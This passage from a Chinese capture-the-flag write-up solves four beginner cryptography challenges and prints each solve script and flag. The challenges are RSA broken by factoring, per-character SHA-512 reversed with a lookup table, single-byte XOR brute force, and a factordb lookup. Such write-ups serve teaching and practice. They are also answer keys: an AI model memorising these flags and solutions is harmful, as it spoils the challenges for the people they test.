# 使用 sympy 来因式分解 n
factors = factorint(n) # 因式分解 n
p = list(factors.keys())[0] # 获取 p
q = list(factors.keys())[1] # 获取 q

# 计算 φ(n)
phi_n = (p - 1) * (q - 1)

# 使用欧几里得算法计算 e 对 φ(n) 的模逆 d
e = 65537
d = inverse(e, phi_n)

# 使用私钥 d 解密 c
m = pow(c, d, n)

# 将 m 转换为 flag
flag = long_to_bytes(m)

print("Flag:", flag.decode())

得到flag:flag{oops_the_N_is_not_secure}

[Normal] One_Way_Function

题目如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from hashlib import sha512
from secret import flag

for f in flag:
print(sha512(bytes([f])).hexdigest())

# 711c22448e721e5491d8245b49425aa861f1fc4a15287f0735e203799b65cffec50b5abd0fddd91cd643aeb3b530d48f05e258e7e230a94ed5025c1387bb4e1b
# f10127742e07a7705735572f823574b89aaf1cbe071935cb9e75e5cfeb817700cb484d1100a10ad5c32b59c3d6565211108aa9ef0611d7ec830c1b66f60e614d
# 1f40fc92da241694750979ee6cf582f2d5d7d28e18335de05abc54d0560e0f5302860c652bf08d560252aa5e74210546f369fbbbce8c12cfc7957b2652fe9a75
# 19f142b018f307bfdf1c7009d15a29417c96d8678d2982eebce4961b2e67eeb118a8ebb1d75b70087c3e65bc793450e3fe4a10002befa2d038e5aed4796937f2
# c2d03c6efb16c3f8064b0d059e45f951f1748421a622571a52009ddcc2a670851e1ad0269fbd81d45856fa20ffacd081dd20fece7611420befb49eb984bc23ca
# 48fb10b15f3d44a09dc82d02b06581e0c0c69478c9fd2cf8f9093659019a1687baecdbb38c9e72b12169dc4148690f87467f9154f5931c5df665c6496cbfd5f5
# a321d8b405e3ef2604959847b36d171eebebc4a8941dc70a4784935a4fca5d5813de84dfa049f06549aa61b20848c1633ce81b675286ea8fb53db240d831c568
# 48fb10b15f3d44a09dc82d02b06581e0c0c69478c9fd2cf8f9093659019a1687baecdbb38c9e72b12169dc4148690f87467f9154f5931c5df665c6496cbfd5f5
# 31bca02094eb78126a517b206a88c73cfa9ec6f704c7030d18212cace820f025f00bf0ea68dbf3f3a5436ca63b53bf7bf80ad8d5de7d8359d0b7fed9dbc3ab99
# f05210c5b4263f0ec4c3995bdab458d81d3953f354a9109520f159db1e8800bcd45b97c56dce90a1fc27ab03e0b8a9af8673747023c406299374116d6f966981
# 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
# 3bafbf08882a2d10133093a1b8433f50563b93c14acd05b79028eb1d12799027241450980651994501423a66c276ae26c43b739bc65c4e16b10c3af6c202aebb
# 3bafbf08882a2d10133093a1b8433f50563b93c14acd05b79028eb1d12799027241450980651994501423a66c276ae26c43b739bc65c4e16b10c3af6c202aebb
# 7c0b0d99a6e4c33cda0f6f63547f878f4dd9f486dfe5d0446ce004b1c0ff28f191ff86f5d5933d3614cceee6fbbdc17e658881d3a164dfa5d6f4c699b2126e3d
# 48fb10b15f3d44a09dc82d02b06581e0c0c69478c9fd2cf8f9093659019a1687baecdbb38c9e72b12169dc4148690f87467f9154f5931c5df665c6496cbfd5f5
# 3c9ad55147a7144f6067327c3b82ea70e7c5426add9ceea4d07dc2902239bf9e049b88625eb65d014a7718f79354608cab0921782c643f0208983fffa3582e40
# 5267768822ee624d48fce15ec5ca79cbd602cb7f4c2157a516556991f22ef8c7b5ef7b18d1ff41c59370efb0858651d44a936c11b7b144c48fe04df3c6a3e8da
# 5267768822ee624d48fce15ec5ca79cbd602cb7f4c2157a516556991f22ef8c7b5ef7b18d1ff41c59370efb0858651d44a936c11b7b144c48fe04df3c6a3e8da
# 7c0b0d99a6e4c33cda0f6f63547f878f4dd9f486dfe5d0446ce004b1c0ff28f191ff86f5d5933d3614cceee6fbbdc17e658881d3a164dfa5d6f4c699b2126e3d
# a321d8b405e3ef2604959847b36d171eebebc4a8941dc70a4784935a4fca5d5813de84dfa049f06549aa61b20848c1633ce81b675286ea8fb53db240d831c568
# 1f40fc92da241694750979ee6cf582f2d5d7d28e18335de05abc54d0560e0f5302860c652bf08d560252aa5e74210546f369fbbbce8c12cfc7957b2652fe9a75
# 48fb10b15f3d44a09dc82d02b06581e0c0c69478c9fd2cf8f9093659019a1687baecdbb38c9e72b12169dc4148690f87467f9154f5931c5df665c6496cbfd5f5
# 48fb10b15f3d44a09dc82d02b06581e0c0c69478c9fd2cf8f9093659019a1687baecdbb38c9e72b12169dc4148690f87467f9154f5931c5df665c6496cbfd5f5
# 7c0b0d99a6e4c33cda0f6f63547f878f4dd9f486dfe5d0446ce004b1c0ff28f191ff86f5d5933d3614cceee6fbbdc17e658881d3a164dfa5d6f4c699b2126e3d
# 5267768822ee624d48fce15ec5ca79cbd602cb7f4c2157a516556991f22ef8c7b5ef7b18d1ff41c59370efb0858651d44a936c11b7b144c48fe04df3c6a3e8da
# 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
# 0dc526d8c4fa04084f4b2a6433f4cd14664b93df9fb8a9e00b77ba890b83704d24944c93caa692b51085bb476f81852c27e793600f137ae3929018cd4c8f1a45
# a321d8b405e3ef2604959847b36d171eebebc4a8941dc70a4784935a4fca5d5813de84dfa049f06549aa61b20848c1633ce81b675286ea8fb53db240d831c568
# 7c0b0d99a6e4c33cda0f6f63547f878f4dd9f486dfe5d0446ce004b1c0ff28f191ff86f5d5933d3614cceee6fbbdc17e658881d3a164dfa5d6f4c699b2126e3d
# bc23b8b01772d2dd67efb8fe1a5e6bd0f44b97c36101be6cc09f253b53e68d67a22e4643068dfd1341980134ea57570acf65e306e4d96cef4d560384894c88a4
# acc28db2beb7b42baa1cb0243d401ccb4e3fce44d7b02879a52799aadff541522d8822598b2fa664f9d5156c00c924805d75c3868bd56c2acb81d37e98e35adc
# bc23b8b01772d2dd67efb8fe1a5e6bd0f44b97c36101be6cc09f253b53e68d67a22e4643068dfd1341980134ea57570acf65e306e4d96cef4d560384894c88a4
# 87c568e037a5fa50b1bc911e8ee19a77c4dd3c22bce9932f86fdd8a216afe1681c89737fada6859e91047eece711ec16da62d6ccb9fd0de2c51f132347350d8c
# 87c568e037a5fa50b1bc911e8ee19a77c4dd3c22bce9932f86fdd8a216afe1681c89737fada6859e91047eece711ec16da62d6ccb9fd0de2c51f132347350d8c
# acc28db2beb7b42baa1cb0243d401ccb4e3fce44d7b02879a52799aadff541522d8822598b2fa664f9d5156c00c924805d75c3868bd56c2acb81d37e98e35adc
# a321d8b405e3ef2604959847b36d171eebebc4a8941dc70a4784935a4fca5d5813de84dfa049f06549aa61b20848c1633ce81b675286ea8fb53db240d831c568
# 5267768822ee624d48fce15ec5ca79cbd602cb7f4c2157a516556991f22ef8c7b5ef7b18d1ff41c59370efb0858651d44a936c11b7b144c48fe04df3c6a3e8da
# 5267768822ee624d48fce15ec5ca79cbd602cb7f4c2157a516556991f22ef8c7b5ef7b18d1ff41c59370efb0858651d44a936c11b7b144c48fe04df3c6a3e8da
# 3bafbf08882a2d10133093a1b8433f50563b93c14acd05b79028eb1d12799027241450980651994501423a66c276ae26c43b739bc65c4e16b10c3af6c202aebb
# 3bafbf08882a2d10133093a1b8433f50563b93c14acd05b79028eb1d12799027241450980651994501423a66c276ae26c43b739bc65c4e16b10c3af6c202aebb
# 711c22448e721e5491d8245b49425aa861f1fc4a15287f0735e203799b65cffec50b5abd0fddd91cd643aeb3b530d48f05e258e7e230a94ed5025c1387bb4e1b
# 9220b9865a97d2eb9cad34271703f7c8e61cbe63a7a87d2aa3783f23669f14184eacda9a446f6c2f37e25426ec89542fdc9d8186fb5a8845e29896f920f9f1e3

麻烦点的做法

都sha512了,那肯定不是爆破,找一个sha512的字典去碰去,找到了这个网站https://crackstation.net/

然后把内容丢进去,就能碰撞出flag了

简单点的做法

就是写个脚本一把梭,因为很容易发现脚本里面是对单个字符进行了sha512的计算,所以可以直接建立一个映射,然后再把数据丢进去就可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from hashlib import sha512
from string import printable

mapping = {}

for char in printable:
mapping[sha512(char.encode()).hexdigest()] = char

data="""711c22448e721e5491d8245b49425aa861f1fc4a15287f0735e203799b65cffec50b5abd0fddd91cd643aeb3b530d48f05e258e7e230a94ed5025c1387bb4e1b
f10127742e07a7705735572f823574b89aaf1cbe071935cb9e75e5cfeb817700cb484d1100a10ad5c32b59c3d6565211108aa9ef0611d7ec830c1b66f60e614d
1f40fc92da241694750979ee6cf582f2d5d7d28e18335de05abc54d0560e0f5302860c652bf08d560252aa5e74210546f369fbbbce8c12cfc7957b2652fe9a75
19f142b018f307bfdf1c7009d15a29417c96d8678d2982eebce4961b2e67eeb118a8ebb1d75b70087c3e65bc793450e3fe4a10002befa2d038e5aed4796937f2
c2d03c6efb16c3f8064b0d059e45f951f1748421a622571a52009ddcc2a670851e1ad0269fbd81d45856fa20ffacd081dd20fece7611420befb49eb984bc23ca
48fb10b15f3d44a09dc82d02b06581e0c0c69478c9fd2cf8f9093659019a1687baecdbb38c9e72b12169dc4148690f87467f9154f5931c5df665c6496cbfd5f5
a321d8b405e3ef2604959847b36d171eebebc4a8941dc70a4784935a4fca5d5813de84dfa049f06549aa61b20848c1633ce81b675286ea8fb53db240d831c568
48fb10b15f3d44a09dc82d02b06581e0c0c69478c9fd2cf8f9093659019a1687baecdbb38c9e72b12169dc4148690f87467f9154f5931c5df665c6496cbfd5f5
31bca02094eb78126a517b206a88c73cfa9ec6f704c7030d18212cace820f025f00bf0ea68dbf3f3a5436ca63b53bf7bf80ad8d5de7d8359d0b7fed9dbc3ab99
f05210c5b4263f0ec4c3995bdab458d81d3953f354a9109520f159db1e8800bcd45b97c56dce90a1fc27ab03e0b8a9af8673747023c406299374116d6f966981
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
3bafbf08882a2d10133093a1b8433f50563b93c14acd05b79028eb1d12799027241450980651994501423a66c276ae26c43b739bc65c4e16b10c3af6c202aebb
3bafbf08882a2d10133093a1b8433f50563b93c14acd05b79028eb1d12799027241450980651994501423a66c276ae26c43b739bc65c4e16b10c3af6c202aebb
7c0b0d99a6e4c33cda0f6f63547f878f4dd9f486dfe5d0446ce004b1c0ff28f191ff86f5d5933d3614cceee6fbbdc17e658881d3a164dfa5d6f4c699b2126e3d
48fb10b15f3d44a09dc82d02b06581e0c0c69478c9fd2cf8f9093659019a1687baecdbb38c9e72b12169dc4148690f87467f9154f5931c5df665c6496cbfd5f5
3c9ad55147a7144f6067327c3b82ea70e7c5426add9ceea4d07dc2902239bf9e049b88625eb65d014a7718f79354608cab0921782c643f0208983fffa3582e40
5267768822ee624d48fce15ec5ca79cbd602cb7f4c2157a516556991f22ef8c7b5ef7b18d1ff41c59370efb0858651d44a936c11b7b144c48fe04df3c6a3e8da
5267768822ee624d48fce15ec5ca79cbd602cb7f4c2157a516556991f22ef8c7b5ef7b18d1ff41c59370efb0858651d44a936c11b7b144c48fe04df3c6a3e8da
7c0b0d99a6e4c33cda0f6f63547f878f4dd9f486dfe5d0446ce004b1c0ff28f191ff86f5d5933d3614cceee6fbbdc17e658881d3a164dfa5d6f4c699b2126e3d
a321d8b405e3ef2604959847b36d171eebebc4a8941dc70a4784935a4fca5d5813de84dfa049f06549aa61b20848c1633ce81b675286ea8fb53db240d831c568
1f40fc92da241694750979ee6cf582f2d5d7d28e18335de05abc54d0560e0f5302860c652bf08d560252aa5e74210546f369fbbbce8c12cfc7957b2652fe9a75
48fb10b15f3d44a09dc82d02b06581e0c0c69478c9fd2cf8f9093659019a1687baecdbb38c9e72b12169dc4148690f87467f9154f5931c5df665c6496cbfd5f5
48fb10b15f3d44a09dc82d02b06581e0c0c69478c9fd2cf8f9093659019a1687baecdbb38c9e72b12169dc4148690f87467f9154f5931c5df665c6496cbfd5f5
7c0b0d99a6e4c33cda0f6f63547f878f4dd9f486dfe5d0446ce004b1c0ff28f191ff86f5d5933d3614cceee6fbbdc17e658881d3a164dfa5d6f4c699b2126e3d
5267768822ee624d48fce15ec5ca79cbd602cb7f4c2157a516556991f22ef8c7b5ef7b18d1ff41c59370efb0858651d44a936c11b7b144c48fe04df3c6a3e8da
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
0dc526d8c4fa04084f4b2a6433f4cd14664b93df9fb8a9e00b77ba890b83704d24944c93caa692b51085bb476f81852c27e793600f137ae3929018cd4c8f1a45
a321d8b405e3ef2604959847b36d171eebebc4a8941dc70a4784935a4fca5d5813de84dfa049f06549aa61b20848c1633ce81b675286ea8fb53db240d831c568
7c0b0d99a6e4c33cda0f6f63547f878f4dd9f486dfe5d0446ce004b1c0ff28f191ff86f5d5933d3614cceee6fbbdc17e658881d3a164dfa5d6f4c699b2126e3d
bc23b8b01772d2dd67efb8fe1a5e6bd0f44b97c36101be6cc09f253b53e68d67a22e4643068dfd1341980134ea57570acf65e306e4d96cef4d560384894c88a4
acc28db2beb7b42baa1cb0243d401ccb4e3fce44d7b02879a52799aadff541522d8822598b2fa664f9d5156c00c924805d75c3868bd56c2acb81d37e98e35adc
bc23b8b01772d2dd67efb8fe1a5e6bd0f44b97c36101be6cc09f253b53e68d67a22e4643068dfd1341980134ea57570acf65e306e4d96cef4d560384894c88a4
87c568e037a5fa50b1bc911e8ee19a77c4dd3c22bce9932f86fdd8a216afe1681c89737fada6859e91047eece711ec16da62d6ccb9fd0de2c51f132347350d8c
87c568e037a5fa50b1bc911e8ee19a77c4dd3c22bce9932f86fdd8a216afe1681c89737fada6859e91047eece711ec16da62d6ccb9fd0de2c51f132347350d8c
acc28db2beb7b42baa1cb0243d401ccb4e3fce44d7b02879a52799aadff541522d8822598b2fa664f9d5156c00c924805d75c3868bd56c2acb81d37e98e35adc
a321d8b405e3ef2604959847b36d171eebebc4a8941dc70a4784935a4fca5d5813de84dfa049f06549aa61b20848c1633ce81b675286ea8fb53db240d831c568
5267768822ee624d48fce15ec5ca79cbd602cb7f4c2157a516556991f22ef8c7b5ef7b18d1ff41c59370efb0858651d44a936c11b7b144c48fe04df3c6a3e8da
5267768822ee624d48fce15ec5ca79cbd602cb7f4c2157a516556991f22ef8c7b5ef7b18d1ff41c59370efb0858651d44a936c11b7b144c48fe04df3c6a3e8da
3bafbf08882a2d10133093a1b8433f50563b93c14acd05b79028eb1d12799027241450980651994501423a66c276ae26c43b739bc65c4e16b10c3af6c202aebb
3bafbf08882a2d10133093a1b8433f50563b93c14acd05b79028eb1d12799027241450980651994501423a66c276ae26c43b739bc65c4e16b10c3af6c202aebb
711c22448e721e5491d8245b49425aa861f1fc4a15287f0735e203799b65cffec50b5abd0fddd91cd643aeb3b530d48f05e258e7e230a94ed5025c1387bb4e1b
9220b9865a97d2eb9cad34271703f7c8e61cbe63a7a87d2aa3783f23669f14184eacda9a446f6c2f37e25426ec89542fdc9d8186fb5a8845e29896f920f9f1e3"""

for line in data.split("\n"):
print(mapping[line], end="")

运行后可以得到flag为flag{d4d07133-d6bb-4add-b194-8c8eec4bb33f}

[Normal] One_Key_Pad

代码如下

1
2
3
4
5
6
7
8
9
10
from secret import flag, key

ciphertext = []

for f in flag:
ciphertext.append((f ^ key))

print(bytes(ciphertext).hex())

# e0eae7e1fde3e7fcffd9fee9f4fb

发现是个异或操作,而且是单个字符异或,题目又说是One_Key,所以推测key为一个字符

写爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
ciphertext_hex = 'e0eae7e1fde3e7fcffd9fee9f4fb'
ciphertext = bytes.fromhex(ciphertext_hex)

for key in range(256):
decrypted = [chr(c ^ key) for c in ciphertext]
decrypted_text = ''.join(decrypted)

if decrypted_text.startswith('fl'):
print(f"Found key: {chr(key)}")
print(f"Decrypted text: {decrypted_text}")
break

发现key为134号字符,flag为flag{eazy_xor}

[Normal] Check_Your_Factor_Database

题目代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from secret import p, q, flag
from Crypto.Util.number import *
n = p*q

e = 65537

m = bytes_to_long(flag)

c = pow(m,e,n)

print('n =', n)
print('c =', c)

# n = 15583202069585885743329731770693703651315744619547748987654328267750897298525457052637246322711018450296389785154280944187494218432166414466847580546888232777346390261326052791442303045476056323506639620708060686276665740035963899932923469306092864734507521103929958343335077640138132147823877965255516681640595305323863184079626094607124637572731263072411094986661513874040186660293323912225991096820508525802441998965552628844336066341624032465148749156118031186277077034218599879172143727672732486930547036361186338853567795815703079141657486772887537131798381857481761128761701947613223163957583789997131996194389
# c = 6371306651441414494898158050750379466411385075727176973777141489866804949152371066737700949957382328723739039588265348722939538409644758452741820636286764732056622302045805546424342834578149204912690500590371488794741154219116429974884626176276687505603436615961383352315424341433102202637442619829308641010524729990244179166911981814627661923080609365126766407039132426191716113002194884261389976932121106269022968620075855360220818974890016650718871530138072213210849868914955977855950213371455369372213479451425395072947888041803100826574552594123357214975040806204084524320510358181592274275785398054808107630303

题目告诉我们查数据库(http://www.factordb.com/ ),我查到n可以分解为下面两个因子,经过验证是正确的

1
2
3
4
5
a = 102786970188634214370227829796268661753428191750544697648009912021832510479846406842660652442082773578020088104585096298944409097150001317920480815093132150004913448767202198299893840769568841219755466694275862843676241177608436424364735585247574303039353776987581503833128444693347920806395102183872665901277
b= 151606784799548610095916644217950865940397761353988655007201180031392776522565708552689972206548545357755036833336762542306291348158476176958083317845208464472445906639525228156065966245815886462442808969891370598247564766047649027653895495777728985622422940233924415769188183003695053034562331004932104400857
n = 15583202069585885743329731770693703651315744619547748987654328267750897298525457052637246322711018450296389785154280944187494218432166414466847580546888232777346390261326052791442303045476056323506639620708060686276665740035963899932923469306092864734507521103929958343335077640138132147823877965255516681640595305323863184079626094607124637572731263072411094986661513874040186660293323912225991096820508525802441998965552628844336066341624032465148749156118031186277077034218599879172143727672732486930547036361186338853567795815703079141657486772887537131798381857481761128761701947613223163957583789997131996194389

print(n == a * b)

所以直接梭哈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Crypto.Util.number import inverse, long_to_bytes

# 已知的 n 的因子 a 和 b
a = 102786970188634214370227829796268661753428191750544697648009912021832510479846406842660652442082773578020088104585096298944409097150001317920480815093132150004913448767202198299893840769568841219755466694275862843676241177608436424364735585247574303039353776987581503833128444693347920806395102183872665901277
b = 151606784799548610095916644217950865940397761353988655007201180031392776522565708552689972206548545357755036833336762542306291348158476176958083317845208464472445906639525228156065966245815886462442808969891370598247564766047649027653895495777728985622422940233924415769188183003695053034562331004932104400857
n = a * b

# 公钥 e
e = 65537

# 计算 φ(n)
phi_n = (a - 1) * (b - 1)

# 计算私钥 d
d = inverse(e, phi_n)

# 密文 c
c = 6371306651441414494898158050750379466411385075727176973777141489866804949152371066737700949957382328723739039588265348722939538409644758452741820636286764732056622302045805546424342834578149204912690500590371488794741154219116429974884626176276687505603436615961383352315424341433102202637442619829308641010524729990244179166911981814627661923080609365126766407039132426191716113002194884261389976932121106269022968620075855360220818974890016650718871530138072213210849868914955977855950213371455369372213479451425395072947888041803100826574552594123357214975040806204084524320510358181592274275785398054808107630303

# 解密 c 得到 m
m = pow(c, d, n)

# 转换 m 为明文
flag = long_to_bytes(m)
print("Flag:", flag.decode())

得到flag为flag{factor_db_is_useful}

END

最终战果如图,周日早八晚五直接少了好几个做题时,算啦,老二就老二吧 =-=